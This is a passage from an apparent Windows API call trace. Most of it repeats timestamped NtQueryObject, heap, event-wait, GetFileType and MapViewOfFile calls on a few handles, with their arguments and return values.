Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.847] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.847] ResetEvent (hEvent=0x110) returned 1 [0259.847] SetEvent (hEvent=0x114) returned 1 [0259.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.848] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.848] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.848] ResetEvent (hEvent=0x110) returned 1 [0259.848] SetEvent (hEvent=0x114) returned 1 [0259.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.848] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.848] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.848] ResetEvent (hEvent=0x110) returned 1 [0259.848] SetEvent (hEvent=0x114) returned 1 [0259.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.848] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.848] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.848] ResetEvent (hEvent=0x110) returned 1 [0259.848] SetEvent (hEvent=0x114) returned 1 [0259.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.849] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.849] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.849] ResetEvent (hEvent=0x110) returned 1 [0259.849] SetEvent (hEvent=0x114) returned 1 [0259.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.849] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.849] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.849] ResetEvent (hEvent=0x110) returned 1 [0259.849] SetEvent (hEvent=0x114) returned 1 [0259.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.849] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.850] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.850] ResetEvent (hEvent=0x110) returned 1 [0259.850] SetEvent (hEvent=0x114) returned 1 [0259.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.850] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.850] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.850] ResetEvent (hEvent=0x110) returned 1 [0259.850] SetEvent (hEvent=0x114) returned 1 [0259.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.850] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.850] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.850] ResetEvent (hEvent=0x110) returned 1 [0259.850] SetEvent (hEvent=0x114) returned 1 [0259.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.850] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.851] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.851] ResetEvent (hEvent=0x110) returned 1 [0259.851] SetEvent (hEvent=0x114) returned 1 [0259.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.851] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.851] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.851] ResetEvent (hEvent=0x110) returned 1 [0259.851] SetEvent (hEvent=0x114) returned 1 [0259.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.851] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.851] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.851] ResetEvent (hEvent=0x110) returned 1 [0259.851] SetEvent (hEvent=0x114) returned 1 [0259.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.851] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.852] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.852] ResetEvent (hEvent=0x110) returned 1 [0259.852] SetEvent (hEvent=0x114) returned 1 [0259.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.852] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.852] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.852] ResetEvent (hEvent=0x110) returned 1 [0259.852] SetEvent (hEvent=0x114) returned 1 [0259.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.852] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.852] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.852] ResetEvent (hEvent=0x110) returned 1 [0259.852] SetEvent (hEvent=0x114) returned 1 [0259.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.852] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.853] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.853] ResetEvent (hEvent=0x110) returned 1 [0259.853] SetEvent (hEvent=0x114) returned 1 [0259.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.853] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.853] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.853] ResetEvent (hEvent=0x110) returned 1 [0259.853] SetEvent (hEvent=0x114) returned 1 [0259.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.853] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.853] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.853] ResetEvent (hEvent=0x110) returned 1 [0259.853] SetEvent (hEvent=0x114) returned 1 [0259.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.853] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.854] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.854] ResetEvent (hEvent=0x110) returned 1 [0259.854] SetEvent (hEvent=0x114) returned 1 [0259.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.854] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.854] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.854] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.854] ResetEvent (hEvent=0x110) returned 1 [0259.854] SetEvent (hEvent=0x114) returned 1 [0259.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.854] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.854] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.854] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.854] ResetEvent (hEvent=0x110) returned 1 [0259.854] SetEvent (hEvent=0x114) returned 1 [0259.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.855] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.855] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.855] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.855] ResetEvent (hEvent=0x110) returned 1 [0259.855] SetEvent (hEvent=0x114) returned 1 [0259.855] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.855] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.855] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.855] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.855] ResetEvent (hEvent=0x110) returned 1 [0259.855] SetEvent (hEvent=0x114) returned 1 [0259.855] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.855] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.855] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.855] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.855] ResetEvent (hEvent=0x110) returned 1 [0259.855] SetEvent (hEvent=0x114) returned 1 [0259.855] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.856] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.856] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.856] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.856] ResetEvent (hEvent=0x110) returned 1 [0259.856] SetEvent (hEvent=0x114) returned 1 [0259.856] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.856] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.856] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.856] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.857] GetFileType (hFile=0x1b8) returned 0x3 [0259.857] GetFileType (hFile=0x1b8) returned 0x3 [0259.857] GetFileType (hFile=0x1b8) returned 0x3 [0259.858] GetFileType (hFile=0x1b8) returned 0x3 [0259.858] GetFileType (hFile=0x1b8) returned 0x3 [0259.858] GetFileType (hFile=0x1b8) returned 0x3 [0259.918] GetFileType (hFile=0x1c0) returned 0x3 [0259.919] GetFileType (hFile=0x1c0) returned 0x3 [0259.919] GetFileType (hFile=0x1c0) returned 0x3 [0259.920] GetFileType (hFile=0x1c0) returned 0x0 [0259.920] GetFileType (hFile=0x1c0) returned 0x3 [0259.920] GetFileType (hFile=0x1c0) returned 0x3 [0259.921] GetFileType (hFile=0x1c0) returned 0x3 [0259.927] GetFileType (hFile=0x1c0) returned 0x3 [0259.928] GetFileType (hFile=0x1c0) returned 0x3 [0259.928] GetFileType (hFile=0x1c0) returned 0x3 [0259.928] GetFileType (hFile=0x1c0) returned 0x3 [0259.928] GetFileType (hFile=0x1c0) returned 0x3 [0259.929] GetFileType (hFile=0x1c0) returned 0x3 [0259.931] GetFileType (hFile=0x1c0) returned 0x3 [0259.934] GetFileType (hFile=0x1c0) returned 0x3 [0259.935] GetFileType (hFile=0x1c0) returned 0x3 [0259.935] GetFileType (hFile=0x1c0) returned 0x3 [0259.942] GetFileType (hFile=0x1cc) returned 0x3 [0259.942] GetFileType (hFile=0x1cc) returned 0x3 [0259.943] GetFileType (hFile=0x1cc) returned 0x3 [0259.944] GetFileType (hFile=0x1cc) returned 0x1 [0259.944] NtQueryObject (in: Handle=0x1cc, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.945] MapViewOfFile (hFileMappingObject=0x1cc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.954] GetFileType (hFile=0x1d0) returned 0x1 [0259.954] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.954] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.955] GetFileType (hFile=0x1d0) returned 0x1 [0259.955] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.958] GetFileType (hFile=0x1d0) returned 0x0 [0259.959] GetFileType (hFile=0x1d0) returned 0x3 [0259.962] GetFileType (hFile=0x1d0) returned 0x1 [0259.962] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.962] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.966] GetFileType (hFile=0x1d0) returned 0x1 [0259.966] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.966] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.967] GetFileType (hFile=0x1d0) returned 0x1 [0259.967] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.967] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.968] GetFileType (hFile=0x1d0) returned 0x1 [0259.968] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.968] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.968] GetFileType (hFile=0x1d0) returned 0x1 [0259.968] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.968] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.969] GetFileType (hFile=0x1d0) returned 0x1 [0259.969] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.969] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.969] GetFileType (hFile=0x1d0) returned 0x1 [0259.969] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.969] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.970] GetFileType (hFile=0x1d0) returned 0x1 [0259.970] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.970] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.970] GetFileType (hFile=0x1d0) returned 0x1 [0259.970] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.970] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.971] GetFileType (hFile=0x1d0) returned 0x1 [0259.971] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.971] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.972] GetFileType (hFile=0x1d0) returned 0x1 [0259.972] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.972] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.979] GetFileType (hFile=0x1d0) returned 0x1 [0259.979] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.980] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.980] GetFileType (hFile=0x1d0) returned 0x1 [0259.980] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.980] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.981] GetFileType (hFile=0x1d0) returned 0x1 [0259.981] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.981] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.982] GetFileType (hFile=0x1d0) returned 0x1 [0259.982] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.982] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.982] GetFileType (hFile=0x1d0) returned 0x1 [0259.982] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.983] MapViewOfFile (hFileMappingObject=0x1d0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0259.983] GetFileType (hFile=0x1d0) returned 0x1 [0259.983] NtQueryObject (in: Handle=0x1d0, ObjectInformationClass=0x1, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: 